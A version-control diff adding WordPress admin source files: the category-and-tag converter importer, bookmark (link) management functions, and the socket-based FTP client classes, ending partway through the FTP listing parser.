    try again.'), 'admin.php?import=wp-cat2tag'); ?>

    +
    +categories_to_convert) ) + $this->categories_to_convert = $_POST['cats_to_convert']; + + $hier = _get_term_hierarchy('category'); + $hybrid_cats = $clear_parents = $parents = false; + $clean_term_cache = $clean_cat_cache = array(); + $default_cat = get_option('default_category'); + + echo '
      '; + + foreach ( (array) $this->categories_to_convert as $cat_id) { + $cat_id = (int) $cat_id; + + if ( ! $this->_category_exists($cat_id) ) { + echo '
    • ' . sprintf( __('Category %s doesn’t exist!'), $cat_id ) . "
    • \n"; + } else { + $category =& get_category($cat_id); + echo '
    • ' . sprintf(__('Converting category %s ... '), $category->name); + + // If the category is the default, leave category in place and create tag. + if ( $default_cat == $category->term_id ) { + + if ( ! ($id = is_term( $category->slug, 'post_tag' ) ) ) + $id = wp_insert_term($category->name, 'post_tag', array('slug' => $category->slug)); + + $id = $id['term_taxonomy_id']; + $posts = get_objects_in_term($category->term_id, 'category'); + $term_order = 0; + + foreach ( $posts as $post ) { + $values[] = $wpdb->prepare( "(%d, %d, %d)", $post, $id, $term_order); + clean_post_cache($post); + } + + if ( $values ) { + $wpdb->query("INSERT INTO $wpdb->term_relationships (object_id, term_taxonomy_id, term_order) VALUES " . join(',', $values) . " ON DUPLICATE KEY UPDATE term_order = VALUES(term_order)"); + + $wpdb->query( $wpdb->prepare("UPDATE $wpdb->term_taxonomy SET count = %d WHERE term_id = %d AND taxonomy = 'post_tag'", $category->count, $category->term_id) ); + } + + echo __('Converted successfully.') . "
    • \n"; + continue; + } + + // if tag already exists, add it to all posts in the category + if ( $tag_ttid = $wpdb->get_var( $wpdb->prepare("SELECT term_taxonomy_id FROM $wpdb->term_taxonomy WHERE term_id = %d AND taxonomy = 'post_tag'", $category->term_id) ) ) { + $objects_ids = get_objects_in_term($category->term_id, 'category'); + $tag_ttid = (int) $tag_ttid; + $term_order = 0; + + foreach ( $objects_ids as $object_id ) + $values[] = $wpdb->prepare( "(%d, %d, %d)", $object_id, $tag_ttid, $term_order); + + if ( $values ) { + $wpdb->query("INSERT INTO $wpdb->term_relationships (object_id, term_taxonomy_id, term_order) VALUES " . join(',', $values) . " ON DUPLICATE KEY UPDATE term_order = VALUES(term_order)"); + + $count = $wpdb->get_var( $wpdb->prepare("SELECT COUNT(*) FROM $wpdb->term_relationships WHERE term_taxonomy_id = %d", $tag_ttid) ); + $wpdb->query( $wpdb->prepare("UPDATE $wpdb->term_taxonomy SET count = %d WHERE term_id = %d AND taxonomy = 'post_tag'", $count, $category->term_id) ); + } + echo __('Tag added to all posts in this category.') . " *\n"; + + $hybrid_cats = true; + $clean_term_cache[] = $category->term_id; + $clean_cat_cache[] = $category->term_id; + + continue; + } + + $tt_ids = $wpdb->get_col( $wpdb->prepare("SELECT term_taxonomy_id FROM $wpdb->term_taxonomy WHERE term_id = %d AND taxonomy = 'category'", $category->term_id) ); + if ( $tt_ids ) { + $posts = $wpdb->get_col("SELECT object_id FROM $wpdb->term_relationships WHERE term_taxonomy_id IN (" . join(',', $tt_ids) . ") GROUP BY object_id"); + foreach ( (array) $posts as $post ) + clean_post_cache($post); + } + + // Change the category to a tag. + $wpdb->query( $wpdb->prepare("UPDATE $wpdb->term_taxonomy SET taxonomy = 'post_tag' WHERE term_id = %d AND taxonomy = 'category'", $category->term_id) ); + + // Set all parents to 0 (root-level) if their parent was the converted tag + $parents = $wpdb->query( $wpdb->prepare("UPDATE $wpdb->term_taxonomy SET parent = 0 WHERE parent = %d AND taxonomy = 'category'", $category->term_id) ); + + if ( $parents ) $clear_parents = true; + $clean_cat_cache[] = $category->term_id; + echo __('Converted successfully.') . "\n"; + } + } + echo '
    '; + + if ( ! empty($clean_term_cache) ) { + $clean_term_cache = array_unique(array_values($clean_term_cache)); + clean_term_cache($clean_term_cache, 'post_tag'); + } + + if ( ! empty($clean_cat_cache) ) { + $clean_cat_cache = array_unique(array_values($clean_cat_cache)); + clean_term_cache($clean_cat_cache, 'category'); + } + + if ( $clear_parents ) delete_option('category_children'); + + if ( $hybrid_cats ) + echo '

    ' . sprintf( __('* This category is also a tag. The converter has added that tag to all posts currently in the category. If you want to remove it, please confirm that all tags were added successfully, then delete it from the Manage Categories page.'), 'categories.php') . '

    '; + echo '

    ' . sprintf( __('We’re all done here, but you can always convert more.'), 'admin.php?import=wp-cat2tag' ) . '

    '; + } + + function convert_tags() { + global $wpdb; + + if ( (!isset($_POST['tags_to_convert']) || !is_array($_POST['tags_to_convert'])) && empty($this->tags_to_convert)) { + echo '
    '; + echo '

    ' . sprintf(__('Uh, oh. Something didn’t work. Please try again.'), 'admin.php?import=wp-cat2tag&step=3') . '

    '; + echo '
    '; + return; + } + + if ( empty($this->tags_to_convert) ) + $this->tags_to_convert = $_POST['tags_to_convert']; + + $hybrid_tags = $clear_parents = false; + $clean_cat_cache = $clean_term_cache = array(); + $default_cat = get_option('default_category'); + echo '
      '; + + foreach ( (array) $this->tags_to_convert as $tag_id) { + $tag_id = (int) $tag_id; + + if ( $tag = get_term( $tag_id, 'post_tag' ) ) { + printf('
    • ' . __('Converting tag %s ... '), $tag->name); + + if ( $cat_ttid = $wpdb->get_var( $wpdb->prepare("SELECT term_taxonomy_id FROM $wpdb->term_taxonomy WHERE term_id = %d AND taxonomy = 'category'", $tag->term_id) ) ) { + $objects_ids = get_objects_in_term($tag->term_id, 'post_tag'); + $cat_ttid = (int) $cat_ttid; + $term_order = 0; + + foreach ( $objects_ids as $object_id ) { + $values[] = $wpdb->prepare( "(%d, %d, %d)", $object_id, $cat_ttid, $term_order); + clean_post_cache($object_id); + } + + if ( $values ) { + $wpdb->query("INSERT INTO $wpdb->term_relationships (object_id, term_taxonomy_id, term_order) VALUES " . join(',', $values) . " ON DUPLICATE KEY UPDATE term_order = VALUES(term_order)"); + + if ( $default_cat != $tag->term_id ) { + $count = $wpdb->get_var( $wpdb->prepare("SELECT COUNT(*) FROM $wpdb->term_relationships WHERE term_taxonomy_id = %d", $tag->term_id) ); + $wpdb->query( $wpdb->prepare("UPDATE $wpdb->term_taxonomy SET count = %d WHERE term_id = %d AND taxonomy = 'category'", $count, $tag->term_id) ); + } + } + + $hybrid_tags = true; + $clean_term_cache[] = $tag->term_id; + $clean_cat_cache[] = $tag->term_id; + echo __('All posts were added to the category with the same name.') . " *
    • \n"; + + continue; + } + + // Change the tag to a category. + $parent = $wpdb->get_var( $wpdb->prepare("SELECT parent FROM $wpdb->term_taxonomy WHERE term_id = %d AND taxonomy = 'post_tag'", $tag->term_id) ); + if ( 0 == $parent || (0 < (int) $parent && $this->_category_exists($parent)) ) { + $reset_parent = ''; + $clear_parents = true; + } else + $reset_parent = ", parent = '0'"; + + $wpdb->query( $wpdb->prepare("UPDATE $wpdb->term_taxonomy SET taxonomy = 'category' $reset_parent WHERE term_id = %d AND taxonomy = 'post_tag'", $tag->term_id) ); + + $clean_term_cache[] = $tag->term_id; + $clean_cat_cache[] = $cat['term_id']; + echo __('Converted successfully.') . "\n"; + + } else { + printf( '
    • ' . __('Tag #%s doesn’t exist!') . "
    • \n", $tag_id ); + } + } + + if ( ! empty($clean_term_cache) ) { + $clean_term_cache = array_unique(array_values($clean_term_cache)); + clean_term_cache($clean_term_cache, 'post_tag'); + } + + if ( ! empty($clean_cat_cache) ) { + $clean_cat_cache = array_unique(array_values($clean_cat_cache)); + clean_term_cache($clean_term_cache, 'category'); + } + + if ( $clear_parents ) delete_option('category_children'); + + echo '
    '; + if ( $hybrid_tags ) + echo '

    ' . sprintf( __('* This tag is also a category. The converter has added all posts from it to the category. If you want to remove it, please confirm that all posts were added successfully, then delete it from the Manage Tags page.'), 'edit-tags.php') . '

    '; + echo '

    ' . sprintf( __('We’re all done here, but you can always convert more.'), 'admin.php?import=wp-cat2tag&step=3' ) . '

    '; + } + + function init() { + + $step = (isset($_GET['step'])) ? (int) $_GET['step'] : 1; + + $this->header(); + + if ( current_user_can('manage_categories') ) { + + switch ($step) { + case 1 : + $this->categories_tab(); + break; + + case 2 : + check_admin_referer('import-cat2tag'); + $this->convert_categories(); + break; + + case 3 : + $this->tags_tab(); + break; + + case 4 : + check_admin_referer('import-cat2tag'); + $this->convert_tags(); + break; + } + } + + $this->footer(); + } + + function WP_Categories_to_Tags() { + // Do nothing. + } +} + +$wp_cat2tag_importer = new WP_Categories_to_Tags(); + +register_importer('wp-cat2tag', __('Categories and Tags Converter'), __('Convert existing categories to tags or tags to categories, selectively.'), array(&$wp_cat2tag_importer, 'init')); + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/includes/admin.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/includes/admin.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,54 @@ + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/includes/bookmark.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/includes/bookmark.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,273 @@ +link_url = esc_url( $_GET['linkurl']); + else + $link->link_url = ''; + + if ( isset( $_GET['name'] ) ) + $link->link_name = esc_attr( $_GET['name']); + else + $link->link_name = ''; + + $link->link_visible = 'Y'; + + return $link; +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $link_id + * @return unknown + */ +function wp_delete_link( $link_id ) { + global $wpdb; + + do_action( 'delete_link', $link_id ); + + wp_delete_object_term_relationships( $link_id, 'link_category' ); + + $wpdb->query( $wpdb->prepare( "DELETE FROM $wpdb->links WHERE link_id = %d", $link_id ) ); + + do_action( 'deleted_link', $link_id ); + + clean_bookmark_cache( $link_id ); + + return true; +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $link_id + * @return unknown + */ +function wp_get_link_cats( $link_id = 0 ) { + + $cats = wp_get_object_terms( $link_id, 'link_category', 'fields=ids' ); + + return array_unique( $cats ); +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $link_id + * @return unknown + */ +function get_link_to_edit( $link_id ) { + return get_bookmark( $link_id, OBJECT, 'edit' ); +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $linkdata + * @return unknown + */ +function wp_insert_link( $linkdata, $wp_error = false ) { + global $wpdb, $current_user; + + $defaults = array( 'link_id' => 0, 'link_name' => '', 'link_url' => '', 'link_rating' => 0 ); + + $linkdata = wp_parse_args( $linkdata, $defaults ); + $linkdata = sanitize_bookmark( $linkdata, 'db' ); + + extract( stripslashes_deep( $linkdata ), EXTR_SKIP ); + + $update = false; + + if ( !empty( $link_id ) ) + $update = true; + + if ( trim( $link_name ) == '' ) { + if ( trim( $link_url ) != '' ) { + $link_name = $link_url; + } else { + return 0; + } + } + + if ( trim( $link_url ) == '' ) + return 0; + + if ( empty( $link_rating ) ) + $link_rating = 0; + + if ( empty( $link_image ) ) + $link_image = ''; + + if ( empty( $link_target ) ) + $link_target = ''; + + if ( empty( $link_visible ) ) + $link_visible = 'Y'; + + if ( empty( $link_owner ) ) + $link_owner = $current_user->id; + + if ( empty( $link_notes ) ) + $link_notes = ''; + + if ( empty( $link_description ) ) + $link_description = ''; + + if ( empty( $link_rss ) ) + $link_rss = ''; + + if ( empty( $link_rel ) ) + $link_rel = ''; + + // Make sure we set a valid category + if ( ! isset( $link_category ) ||0 == count( $link_category ) || !is_array( $link_category ) ) { + $link_category = array( get_option( 'default_link_category' ) ); + } + + if ( $update ) { + if ( false === $wpdb->query( $wpdb->prepare( "UPDATE $wpdb->links SET link_url = %s, + link_name = %s, link_image = %s, link_target = %s, + link_visible = %s, link_description = %s, link_rating = %s, + link_rel = %s, link_notes = %s, link_rss = %s + WHERE link_id = %s", $link_url, $link_name, $link_image, $link_target, $link_visible, $link_description, $link_rating, $link_rel, $link_notes, $link_rss, $link_id ) ) ) { + if ( $wp_error ) + return new WP_Error( 'db_update_error', __( 'Could not update link in the database' ), $wpdb->last_error ); + else + return 0; + } + } else { + if ( false === $wpdb->query( $wpdb->prepare( "INSERT INTO $wpdb->links (link_url, link_name, link_image, link_target, link_description, link_visible, link_owner, link_rating, link_rel, link_notes, link_rss) VALUES(%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s)", + $link_url,$link_name, $link_image, $link_target, $link_description, $link_visible, $link_owner, $link_rating, $link_rel, $link_notes, $link_rss ) ) ) { + if ( $wp_error ) + return new WP_Error( 'db_insert_error', __( 'Could not insert link into the database' ), $wpdb->last_error ); + else + return 0; + } + $link_id = (int) $wpdb->insert_id; + } + + wp_set_link_cats( $link_id, $link_category ); + + if ( $update ) + do_action( 'edit_link', $link_id ); + else + do_action( 'add_link', $link_id ); + + clean_bookmark_cache( $link_id ); + + return $link_id; +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $link_id + * @param unknown_type $link_categories + */ +function wp_set_link_cats( $link_id = 0, $link_categories = array() ) { + // If $link_categories isn't already an array, make it one: + if ( !is_array( $link_categories ) || 0 == count( $link_categories ) ) + $link_categories = array( get_option( 'default_link_category' ) ); + + $link_categories = array_map( 'intval', $link_categories ); + $link_categories = array_unique( $link_categories ); + + wp_set_object_terms( $link_id, $link_categories, 'link_category' ); + + clean_bookmark_cache( $link_id ); +} // wp_set_link_cats() + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $linkdata + * @return unknown + */ +function wp_update_link( $linkdata ) { + $link_id = (int) $linkdata['link_id']; + + $link = get_link( $link_id, ARRAY_A ); + + // Escape data pulled from DB. + $link = add_magic_quotes( $link ); + + // Passed link category list overwrites existing category list if not empty. + if ( isset( $linkdata['link_category'] ) && is_array( $linkdata['link_category'] ) + && 0 != count( $linkdata['link_category'] ) ) + $link_cats = $linkdata['link_category']; + else + $link_cats = $link['link_category']; + + // Merge old and new fields with new fields overwriting old ones. + $linkdata = array_merge( $link, $linkdata ); + $linkdata['link_category'] = $link_cats; + + return wp_insert_link( $linkdata ); +} + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/includes/class-ftp-pure.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/includes/class-ftp-pure.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,190 @@ +__construct($verb, $le); + } + + function __construct($verb=FALSE, $le=FALSE) { + parent::__construct(false, $verb, $le); + } + +// +// +// + + function _settimeout($sock) { + if(!@stream_set_timeout($sock, $this->_timeout)) { + $this->PushError('_settimeout','socket set send timeout'); + $this->_quit(); + return FALSE; + } + return TRUE; + } + + function _connect($host, $port) { + $this->SendMSG("Creating socket"); + $sock = @fsockopen($host, $port, $errno, $errstr, $this->_timeout); + if (!$sock) { + $this->PushError('_connect','socket connect failed', $errstr." (".$errno.")"); + return FALSE; + } + $this->_connected=true; + return $sock; + } + + function _readmsg($fnction="_readmsg"){ + if(!$this->_connected) { + $this->PushError($fnction, 'Connect first'); + return FALSE; + } + $result=true; + $this->_message=""; + $this->_code=0; + $go=true; + do { + $tmp=@fgets($this->_ftp_control_sock, 512); + if($tmp===false) { + $go=$result=false; + $this->PushError($fnction,'Read failed'); + } else { + $this->_message.=$tmp; + if(preg_match("/^([0-9]{3})(-(.*[".CRLF."]{1,2})+\\1)? [^".CRLF."]+[".CRLF."]{1,2}$/", $this->_message, $regs)) $go=false; + } + } while($go); + if($this->LocalEcho) echo "GET < ".rtrim($this->_message, CRLF).CRLF; + $this->_code=(int)$regs[1]; + return $result; + } + + function _exec($cmd, $fnction="_exec") { + if(!$this->_ready) { + $this->PushError($fnction,'Connect first'); + return FALSE; + } + if($this->LocalEcho) echo "PUT > ",$cmd,CRLF; + $status=@fputs($this->_ftp_control_sock, $cmd.CRLF); + if($status===false) { + $this->PushError($fnction,'socket write failed'); + return FALSE; + } + $this->_lastaction=time(); + if(!$this->_readmsg($fnction)) return FALSE; + return TRUE; + } + + function _data_prepare($mode=FTP_ASCII) { + if(!$this->_settype($mode)) return FALSE; + if($this->_passive) { + if(!$this->_exec("PASV", "pasv")) { + $this->_data_close(); + return FALSE; + } + if(!$this->_checkCode()) { + $this->_data_close(); + return FALSE; + } + $ip_port = explode(",", ereg_replace("^.+ \\(?([0-9]{1,3},[0-9]{1,3},[0-9]{1,3},[0-9]{1,3},[0-9]+,[0-9]+)\\)?.*".CRLF."$", "\\1", $this->_message)); + $this->_datahost=$ip_port[0].".".$ip_port[1].".".$ip_port[2].".".$ip_port[3]; + $this->_dataport=(((int)$ip_port[4])<<8) + ((int)$ip_port[5]); + $this->SendMSG("Connecting to ".$this->_datahost.":".$this->_dataport); + $this->_ftp_data_sock=@fsockopen($this->_datahost, $this->_dataport, $errno, $errstr, $this->_timeout); + if(!$this->_ftp_data_sock) { + $this->PushError("_data_prepare","fsockopen fails", $errstr." (".$errno.")"); + $this->_data_close(); + return FALSE; + } + else $this->_ftp_data_sock; + } else { + $this->SendMSG("Only passive connections available!"); + return FALSE; + } + return TRUE; + } + + function _data_read($mode=FTP_ASCII, $fp=NULL) { + if(is_resource($fp)) $out=0; + else $out=""; + if(!$this->_passive) { + $this->SendMSG("Only passive connections available!"); + return FALSE; + } + while (!feof($this->_ftp_data_sock)) { + $block=fread($this->_ftp_data_sock, $this->_ftp_buff_size); + if($mode!=FTP_BINARY) $block=preg_replace("/\r\n|\r|\n/", $this->_eol_code[$this->OS_local], $block); + if(is_resource($fp)) $out+=fwrite($fp, $block, strlen($block)); + else $out.=$block; + } + return $out; + } + + function _data_write($mode=FTP_ASCII, $fp=NULL) { + if(is_resource($fp)) $out=0; + else $out=""; + if(!$this->_passive) { + $this->SendMSG("Only passive connections available!"); + return FALSE; + } + if(is_resource($fp)) { + while(!feof($fp)) { + $block=fread($fp, $this->_ftp_buff_size); + if(!$this->_data_write_block($mode, $block)) return false; + } + } elseif(!$this->_data_write_block($mode, $fp)) return false; + return TRUE; + } + + function _data_write_block($mode, $block) { + if($mode!=FTP_BINARY) $block=preg_replace("/\r\n|\r|\n/", $this->_eol_code[$this->OS_remote], $block); + do { + if(($t=@fwrite($this->_ftp_data_sock, $block))===FALSE) { + $this->PushError("_data_write","Can't write to socket"); + return FALSE; + } + $block=substr($block, $t); + } while(!empty($block)); + return true; + } + + function _data_close() { + @fclose($this->_ftp_data_sock); + $this->SendMSG("Disconnected data from remote host"); + return TRUE; + } + + function _quit($force=FALSE) { + if($this->_connected or $force) { + @fclose($this->_ftp_control_sock); + $this->_connected=false; + $this->SendMSG("Socket closed"); + } + } +} + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/includes/class-ftp-sockets.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/includes/class-ftp-sockets.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,250 @@ +__construct($verb, $le); + } + + function __construct($verb=FALSE, $le=FALSE) { + parent::__construct(true, $verb, $le); + } + +// +// +// + + function _settimeout($sock) { + if(!@socket_set_option($sock, SOL_SOCKET, SO_RCVTIMEO, array("sec"=>$this->_timeout, "usec"=>0))) { + $this->PushError('_connect','socket set receive timeout',socket_strerror(socket_last_error($sock))); + @socket_close($sock); + return FALSE; + } + if(!@socket_set_option($sock, SOL_SOCKET , SO_SNDTIMEO, array("sec"=>$this->_timeout, "usec"=>0))) { + $this->PushError('_connect','socket set send timeout',socket_strerror(socket_last_error($sock))); + @socket_close($sock); + return FALSE; + } + return true; + } + + function _connect($host, $port) { + $this->SendMSG("Creating socket"); + if(!($sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP))) { + $this->PushError('_connect','socket create failed',socket_strerror(socket_last_error($sock))); + return FALSE; + } + if(!$this->_settimeout($sock)) return FALSE; + $this->SendMSG("Connecting to \"".$host.":".$port."\""); + if (!($res = @socket_connect($sock, $host, $port))) { + $this->PushError('_connect','socket connect failed',socket_strerror(socket_last_error($sock))); + @socket_close($sock); + return FALSE; + } + $this->_connected=true; + return $sock; + } + + function _readmsg($fnction="_readmsg"){ + if(!$this->_connected) { + $this->PushError($fnction,'Connect first'); + return FALSE; + } + $result=true; + $this->_message=""; + $this->_code=0; + $go=true; + do { + $tmp=@socket_read($this->_ftp_control_sock, 4096, PHP_BINARY_READ); + if($tmp===false) { + $go=$result=false; + $this->PushError($fnction,'Read failed', socket_strerror(socket_last_error($this->_ftp_control_sock))); + } else { + $this->_message.=$tmp; + $go = !preg_match("/^([0-9]{3})(-.+\\1)? [^".CRLF."]+".CRLF."$/Us", $this->_message, $regs); + } + } while($go); + if($this->LocalEcho) echo "GET < ".rtrim($this->_message, CRLF).CRLF; + $this->_code=(int)$regs[1]; + return $result; + } + + function _exec($cmd, $fnction="_exec") { + if(!$this->_ready) { + $this->PushError($fnction,'Connect first'); + return FALSE; + } + if($this->LocalEcho) echo "PUT > ",$cmd,CRLF; + $status=@socket_write($this->_ftp_control_sock, $cmd.CRLF); + if($status===false) { + $this->PushError($fnction,'socket write failed', socket_strerror(socket_last_error($this->stream))); + return FALSE; + } + $this->_lastaction=time(); + if(!$this->_readmsg($fnction)) return FALSE; + return TRUE; + } + + function _data_prepare($mode=FTP_ASCII) { + if(!$this->_settype($mode)) return FALSE; + $this->SendMSG("Creating data socket"); + $this->_ftp_data_sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP); + if ($this->_ftp_data_sock < 0) { + $this->PushError('_data_prepare','socket create failed',socket_strerror(socket_last_error($this->_ftp_data_sock))); + return FALSE; + } + if(!$this->_settimeout($this->_ftp_data_sock)) { + $this->_data_close(); + return FALSE; + } + if($this->_passive) { + if(!$this->_exec("PASV", "pasv")) { + $this->_data_close(); + return FALSE; + } + if(!$this->_checkCode()) { + $this->_data_close(); + return FALSE; + } + $ip_port = explode(",", ereg_replace("^.+ \\(?([0-9]{1,3},[0-9]{1,3},[0-9]{1,3},[0-9]{1,3},[0-9]+,[0-9]+)\\)?.*".CRLF."$", "\\1", $this->_message)); + $this->_datahost=$ip_port[0].".".$ip_port[1].".".$ip_port[2].".".$ip_port[3]; + $this->_dataport=(((int)$ip_port[4])<<8) + ((int)$ip_port[5]); + $this->SendMSG("Connecting to ".$this->_datahost.":".$this->_dataport); + if(!@socket_connect($this->_ftp_data_sock, $this->_datahost, $this->_dataport)) { + $this->PushError("_data_prepare","socket_connect", socket_strerror(socket_last_error($this->_ftp_data_sock))); + $this->_data_close(); + return FALSE; + } + else $this->_ftp_temp_sock=$this->_ftp_data_sock; + } else { + if(!@socket_getsockname($this->_ftp_control_sock, $addr, $port)) { + $this->PushError("_data_prepare","can't get control socket information", socket_strerror(socket_last_error($this->_ftp_control_sock))); + $this->_data_close(); + return FALSE; + } + if(!@socket_bind($this->_ftp_data_sock,$addr)){ + $this->PushError("_data_prepare","can't bind data socket", socket_strerror(socket_last_error($this->_ftp_data_sock))); + $this->_data_close(); + return FALSE; + } + if(!@socket_listen($this->_ftp_data_sock)) { + $this->PushError("_data_prepare","can't listen data socket", socket_strerror(socket_last_error($this->_ftp_data_sock))); + $this->_data_close(); + return FALSE; + } + if(!@socket_getsockname($this->_ftp_data_sock, $this->_datahost, $this->_dataport)) { + $this->PushError("_data_prepare","can't get data socket information", socket_strerror(socket_last_error($this->_ftp_data_sock))); + $this->_data_close(); + return FALSE; + } + if(!$this->_exec('PORT '.str_replace('.',',',$this->_datahost.'.'.($this->_dataport>>8).'.'.($this->_dataport&0x00FF)), "_port")) { + $this->_data_close(); + return FALSE; + } + if(!$this->_checkCode()) { + $this->_data_close(); + return FALSE; + } + } + return TRUE; + } + + function _data_read($mode=FTP_ASCII, $fp=NULL) { + $NewLine=$this->_eol_code[$this->OS_local]; + if(is_resource($fp)) $out=0; + else $out=""; + if(!$this->_passive) { + $this->SendMSG("Connecting to ".$this->_datahost.":".$this->_dataport); + $this->_ftp_temp_sock=socket_accept($this->_ftp_data_sock); + if($this->_ftp_temp_sock===FALSE) { + $this->PushError("_data_read","socket_accept", socket_strerror(socket_last_error($this->_ftp_temp_sock))); + $this->_data_close(); + return FALSE; + } + } + + while(($block=@socket_read($this->_ftp_temp_sock, $this->_ftp_buff_size, PHP_BINARY_READ))!==false) { + if($block==="") break; + if($mode!=FTP_BINARY) $block=preg_replace("/\r\n|\r|\n/", $this->_eol_code[$this->OS_local], $block); + if(is_resource($fp)) $out+=fwrite($fp, $block, strlen($block)); + else $out.=$block; + } + return $out; + } + + function _data_write($mode=FTP_ASCII, $fp=NULL) { + $NewLine=$this->_eol_code[$this->OS_local]; + if(is_resource($fp)) $out=0; + else $out=""; + if(!$this->_passive) { + $this->SendMSG("Connecting to ".$this->_datahost.":".$this->_dataport); + $this->_ftp_temp_sock=socket_accept($this->_ftp_data_sock); + if($this->_ftp_temp_sock===FALSE) { + $this->PushError("_data_write","socket_accept", socket_strerror(socket_last_error($this->_ftp_temp_sock))); + $this->_data_close(); + return false; + } + } + if(is_resource($fp)) { + while(!feof($fp)) { + $block=fread($fp, $this->_ftp_buff_size); + if(!$this->_data_write_block($mode, $block)) return false; + } + } elseif(!$this->_data_write_block($mode, $fp)) return false; + return true; + } + + function _data_write_block($mode, $block) { + if($mode!=FTP_BINARY) $block=preg_replace("/\r\n|\r|\n/", $this->_eol_code[$this->OS_remote], $block); + do { + if(($t=@socket_write($this->_ftp_temp_sock, $block))===FALSE) { + $this->PushError("_data_write","socket_write", socket_strerror(socket_last_error($this->_ftp_temp_sock))); + $this->_data_close(); + return FALSE; + } + $block=substr($block, $t); + } while(!empty($block)); + return true; + } + + function _data_close() { + @socket_close($this->_ftp_temp_sock); + @socket_close($this->_ftp_data_sock); + $this->SendMSG("Disconnected data from remote host"); + return TRUE; + } + + function _quit() { + if($this->_connected) { + @socket_close($this->_ftp_control_sock); + $this->_connected=false; + $this->SendMSG("Socket closed"); + } + } +} +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/includes/class-ftp.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/includes/class-ftp.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,906 @@ +__construct($port_mode); + } + + function __construct($port_mode=FALSE, $verb=FALSE, $le=FALSE) { + $this->LocalEcho=$le; + $this->Verbose=$verb; + $this->_lastaction=NULL; + $this->_error_array=array(); + $this->_eol_code=array(FTP_OS_Unix=>"\n", FTP_OS_Mac=>"\r", FTP_OS_Windows=>"\r\n"); + $this->AuthorizedTransferMode=array(FTP_AUTOASCII, FTP_ASCII, FTP_BINARY); + $this->OS_FullName=array(FTP_OS_Unix => 'UNIX', FTP_OS_Windows => 'WINDOWS', FTP_OS_Mac => 'MACOS'); + $this->AutoAsciiExt=array("ASP","BAT","C","CPP","CSS","CSV","JS","H","HTM","HTML","SHTML","INI","LOG","PHP3","PHTML","PL","PERL","SH","SQL","TXT"); + $this->_port_available=($port_mode==TRUE); + $this->SendMSG("Staring FTP client class".($this->_port_available?"":" without PORT mode support")); + $this->_connected=FALSE; + $this->_ready=FALSE; + $this->_can_restore=FALSE; + $this->_code=0; + $this->_message=""; + $this->_ftp_buff_size=4096; + $this->_curtype=NULL; + $this->SetUmask(0022); + $this->SetType(FTP_AUTOASCII); + $this->SetTimeout(30); + $this->Passive(!$this->_port_available); + $this->_login="anonymous"; + $this->_password="anon@ftp.com"; + $this->_features=array(); + $this->OS_local=FTP_OS_Unix; + $this->OS_remote=FTP_OS_Unix; + $this->features=array(); + if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') $this->OS_local=FTP_OS_Windows; + elseif(strtoupper(substr(PHP_OS, 0, 3)) === 'MAC') $this->OS_local=FTP_OS_Mac; + } + +// +// +// + + function parselisting($line) { + $is_windows = ($this->OS_remote == FTP_OS_Windows); + if ($is_windows && preg_match("/([0-9]{2})-([0-9]{2})-([0-9]{2}) +([0-9]{2}):([0-9]{2})(AM|PM) +([0-9]+|) +(.+)/",$line,$lucifer)) { + $b = array(); + if ($lucifer[3]<70) { $lucifer[3]+=2000; } else { $lucifer[3]+=1900; } // 4digit year fix + $b['isdir'] = ($lucifer[7]==""); + if ( $b['isdir'] ) + $b['type'] = 'd'; + else + $b['type'] = 'f'; + $b['size'] = $lucifer[7]; + $b['month'] = $lucifer[1]; + $b['day'] = $lucifer[2]; + $b['year'] = $lucifer[3]; + $b['hour'] = $lucifer[4]; + $b['minute'] = $lucifer[5]; + $b['time'] = @mktime($lucifer[4]+(strcasecmp($lucifer[6],"PM")==0?12:0),$lucifer[5],0,$lucifer[1],$lucifer[2],$lucifer[3]); + $b['am/pm'] = $lucifer[6]; + $b['name'] = $lucifer[8]; + } else if (!$is_windows && $lucifer=preg_split("/[ ]/",$line,9,PREG_SPLIT_NO_EMPTY)) { + //echo $line."\n"; + $lcount=count($lucifer); + if ($lcount<8) return ''; + $b = array(); + $b['isdir'] = $lucifer[0]{0} === "d"; + $b['islink'] = $lucifer[0]{0} === "l"; + if ( $b['isdir'] ) + $b['type'] = 'd'; + elseif ( $b['islink'] ) + $b['type'] = 'l'; + else + $b['type'] = 'f'; + $b['perms'] = $lucifer[0]; + $b['number'] = $lucifer[1]; + $b['owner'] = $lucifer[2]; + $b['group'] = $lucifer[3]; + $b['size'] = $lucifer[4]; + if ($lcount==8) { + sscanf($lucifer[5],"%d-%d-%d",$b['year'],$b['month'],$b['day']); + sscanf($lucifer[6],"%d:%d",$b['hour'],$b['minute']); + $b['time'] = @mktime($b['hour'],$b['minute'],0,$b['month'],$b['day'],$b['year']); + $b['name'] = $lucifer[7]; + } else { + $b['month'] = $lucifer[5]; + $b['day'] = $lucifer[6]; + if (preg_match("/([0-9]{2}):([0-9]{2})/",$lucifer[7],$l2)) { + $b['year'] = date("Y"); + $b['hour'] = $l2[1]; + $b['minute'] = 